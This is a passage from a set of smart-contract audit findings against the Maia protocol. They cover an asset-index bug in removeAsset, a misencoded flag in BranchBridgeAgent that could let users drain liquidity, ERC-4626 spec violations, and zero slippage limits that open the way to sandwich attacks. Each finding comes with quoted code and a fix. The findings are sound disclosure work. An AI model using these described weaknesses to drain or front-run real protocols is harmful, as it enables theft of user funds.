  0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f         |1        |10
  0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9         |1        |10
  0xF62849F9A0B5Bf2913b396098F7c7019b51A820a         |3        |20
  totalWeights: 35

  --------------------- Values After Removal #2 ---------------------
  0xF62849F9A0B5Bf2913b396098F7c7019b51A820a         |0        |underflow error
  0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9         |0        |underflow error
  totalWeights: 25

  Error: a == b not satisfied [uint]
        Left: 25
       Right: 30

As can be seen from these logs, after removal #1 where the asset 0x2e234DAe75C793f67A35089C9d99245E1C58470b was removed, the asset 0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9 which has it's position swapped now has its index incorrectly assigned as 1 where it should be 2 and its weight as 10 where it should be 5. With removal #2, the intended assset to be removed was 0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9 but 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f was removed because of the mentioned logic. Additionally, it can be seen that the weights of the two remaining assets cannot be determined due to an underflow error because thier respective assetId values are now equal to 0 and their positions in the weights array are defined as their assetId value subtracted by 1; therefore, these assets cannot be removed becuase the function will revert on an underflow error here.

Tools Used

Foundry

Recommended Mitigation Steps

It is recommended to update the removeAsset function so that the assetId value of the asset that has its position swapped with the removed asset will be correctly updated to the previous asset's value, as opposed to the value subtracted by 1. This can be done by refactoring the function so that this line this line reflects the following update:

   ///@inheritdoc IUlyssesToken
    function removeAsset(address asset) external nonReentrant onlyOwner {
        // No need to check if index is 0, it will underflow and revert if it is 0
        uint256 assetIndex = assetId[asset] - 1;

        uint256 newAssetsLength = assets.length - 1;

        if (newAssetsLength == 0) revert CannotRemoveLastAsset();

        totalWeights -= weights[assetIndex];

        address lastAsset = assets[newAssetsLength];

        // @audit recommended change
        assetId[lastAsset] = assetId[asset];
        assets[assetIndex] = lastAsset;
        weights[assetIndex] = weights[newAssetsLength];

        assets.pop();
        weights.pop();
        assetId[asset] = 0;

        emit AssetRemoved(asset);

        updateAssetBalances();

        asset.safeTransfer(msg.sender, asset.balanceOf(address(this)));
    }

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/BranchBridgeAgent.sol#L657 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/BranchBridgeAgent.sol#L1118-L1224

Vulnerability details

Impact

The _callOut function of the BranchBridgeAgent contract encodes the wrong selector for messages with no asset settlement. The effect of encoding 0x01 as the flag will cause the code block that invokes the executeWithSettlement function to be executed when the anyExecute function is ultimately invoked on the destination chain. The implications this will have for the protocol are two-fold:

1. Users can pass any calldata as a parameter to the external callOut function that will then be encoded within the internal _callOut function. A malicious user can populate this calldata with parameters that will populate the SettlementParams struct within the executeWithSettlement function with data that will cause token transfers to occur on the destination chain without having to transfer any tokens to the protocol. This can then be used to drain the protocol of its liquidity.

2. Users that intend to use the external callout function to send a cross-chain message without an asset transfer will lose the funds sent to pay for the message's gas fee because the transaction will likely fail execution on the destination chain due to the encoded calldata not having the correct encoded parameters to create the SettlementParams struct within the executeWithSettlement function.

We believe this to be a high-severity vulnerability because it will have a direct effect on user funds as well as the functionality of the protocol.

Proof of Concept

Please see the previously referenced blocks of code.

Tools Used

Manual Audit Review

Recommended Mitigation Steps

Refactor the anyExecute function of the BranchBridgeAgent contract so that the intended functionality is invoked with the 0x01 flag allowing it to be in alignment with the respective functionality of the anyExecute function of the RootBridgeAgent contract.

Assessed type

Error

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/main/src/maia/tokens/ERC4626PartnerManager.sol#L174

Vulnerability details

vMaia is an ERC-4626 compliant but maxWithdraw & maxRedeem functions are not fully up to EIP-4626's specification

maxWithdraw & maxRedeem functions should return the 0 during withdrawal is paused. But here it's returning balanceOf[user].

Proof of Concept

vMaia Withdrawal is only allowed once per month during the 1st Tuesday (UTC+0) of the month.

It's checked by the below function.

 102       function beforeWithdraw(uint256, uint256) internal override {
            /// @dev Check if unstake period has not ended yet, continue if it is the case.
            if (unstakePeriodEnd >= block.timestamp) return;
    
            uint256 _currentMonth = DateTimeLib.getMonth(block.timestamp);
            if (_currentMonth == currentMonth) revert UnstakePeriodNotLive();
    
            (bool isTuesday, uint256 _unstakePeriodStart) = DateTimeLib.isTuesday(block.timestamp);
            if (!isTuesday) revert UnstakePeriodNotLive();
    
            currentMonth = _currentMonth;
            unstakePeriodEnd = _unstakePeriodStart + 1 days;
114        }

https://github.com/code-423n4/2023-05-maia/blob/main/src/maia/vMaia.sol#L102C1-L114C6

173            function maxWithdraw(address user) public view virtual override returns (uint256) {
                  return balanceOf[user];
              }
          
              /// @notice Returns the maximum amount of assets that can be redeemed by a user.
              /// @dev Assumes that the user has already forfeited all utility tokens.
              function maxRedeem(address user) public view virtual override returns (uint256) {
                  return balanceOf[user];
181              }

https://github.com/code-423n4/2023-05-maia/blob/main/src/maia/tokens/ERC4626PartnerManager.sol#L173C3-L181C6

Other than that period (during the 1st Tuesday (UTC+0) of the month ), maxWithdraw & maxRedeem functions should return the 0 According to EIP-4626 specifications.

maxWithdraw

 MUST factor in both global and user-specific limits, like if withdrawals are entirely disabled (even temporarily) it MUST
 return 0.

maxRedeem

 MUST factor in both global and user-specific limits, like if redemption is entirely disabled (even temporarily) it MUST
 return 0.

https://eips.ethereum.org/EIPS/eip-4626

Tools Used

Manual Auditing

Recommended Mitigation Steps

Use if-else block & if the time period is within the 1st Tuesday (UTC+0) of the month return balanceOf[user] & else return 0.

For more information: https://blog.openzeppelin.com/pods-finance-ethereum-volatility-vault-audit-2#non-standard-erc-4626-vault-functionality

Assessed type

ERC4626

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/main/src/talos/libraries/PoolActions.sol#L82

Vulnerability details

amount0Min and amount1Min are hardcoded to zero. Front running & sandwich opportunities.

amount0Min and amount1Min are hardcoded to zero in rerange() function in the PoolActions.sol contract . So that attackers have the front running & sandwich opportunities.

Proof of Concept

 73               (tokenId, liquidity, amount0, amount1) = nonfungiblePositionManager.mint(
                          INonfungiblePositionManager.MintParams({
                              token0: address(actionParams.token0),
                              token1: address(actionParams.token1),
                              fee: poolFee,
                              tickLower: tickLower,
                              tickUpper: tickUpper,
                              amount0Desired: balance0,
                              amount1Desired: balance1,
                              amount0Min: 0,
                              amount1Min: 0,
                              recipient: address(this),
                              deadline: block.timestamp
                          })
87                        );

https://github.com/code-423n4/2023-05-maia/blob/main/src/talos/libraries/PoolActions.sol#L82C1-L83C31

Tools Used

Manual Auditing

Recommended Mitigation Steps

Use amount0Min & amount1Min as user input parameters so that (Not hard cording to some value) anyone who using this function can set those values accordingly at the time of their execution.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/main/src/erc-4626/UlyssesERC4626.sol#L96-L102

Vulnerability details

Some functions of UlyssesERC4626.sol contract not working as expected

previewMint , previewDeposit, convertToAssets , convertToShares are not exactly return the same value as expected. Since fees are involving with it.

Proof of Concept

When user use deposit or mint function user should able to see how much token they will be recieved (due to minting) using previewMint or previewDeposit functions. But they will be recieved diffrent amount with what previewMint or Previewdeposit functions returning.

96            function previewDeposit(uint256 assets) public view virtual returns (uint256) {
97                return assets;
98            }
99        
100            function previewMint(uint256 shares) public view virtual returns (uint256) {
101                return shares;
102            }

https://github.com/code-423n4/2023-05-maia/blob/main/src/erc-4626/UlyssesERC4626.sol#L96-L102

These above functions showing exactly same amount they will be recived.

But Deposit and mint functions are used different functions to get the recived amounts.

34        function deposit(uint256 assets, address receiver) public virtual nonReentrant returns (uint256 shares) {
          // Need to transfer before minting or ERC777s could reenter.
          asset.safeTransferFrom(msg.sender, address(this), assets);
  
          shares = beforeDeposit(assets);
  
          require(shares != 0, "ZERO_SHARES");
  
          _mint(receiver, shares);
  
          emit Deposit(msg.sender, receiver, assets, shares);
      }
  
      function mint(uint256 shares, address receiver) public virtual nonReentrant returns (uint256 assets) {
          assets = beforeMint(shares); // No need to check for rounding error, previewMint rounds up.
  
          require(assets != 0, "ZERO_ASSETS");
  
          asset.safeTransferFrom(msg.sender, address(this), assets);
  
          _mint(receiver, shares);
  
          emit Deposit(msg.sender, receiver, assets, shares);
 57        }

https://github.com/code-423n4/2023-05-maia/blob/main/src/erc-4626/UlyssesERC4626.sol#L34-57

https://github.com/code-423n4/2023-05-maia/blob/main/src/ulysses-amm/UlyssesPool.sol#L942C1-L1019C6

Here its used beforeDeposit & beforeMint functions to get the mint amount. But its different with previewMint and previewDeposit return values. Currently previewMint or previewDeposit showing the same amount they will be minted. But actual one is different. Since beforeDeposit & beforeMint functions are associate with the fees so deposit & minting amounts are different.

Same thing is going with previewRedeem(uint256 shares) and redeem functions.

Also this is also not comply with the EIP-4626 standared.

previewDeposit

    MUST return as close to and no more than the exact amount of Vault shares that would be minted in a deposit call in the
    same transaction. I.e. deposit should return the same or more shares as previewDeposit if called in the same transaction.

https://eips.ethereum.org/EIPS/eip-4626.

Tools Used

Manual Auditing

Recommended Mitigation Steps

Use standared ERC4626 contract to implement those functions.

Assessed type

ERC4626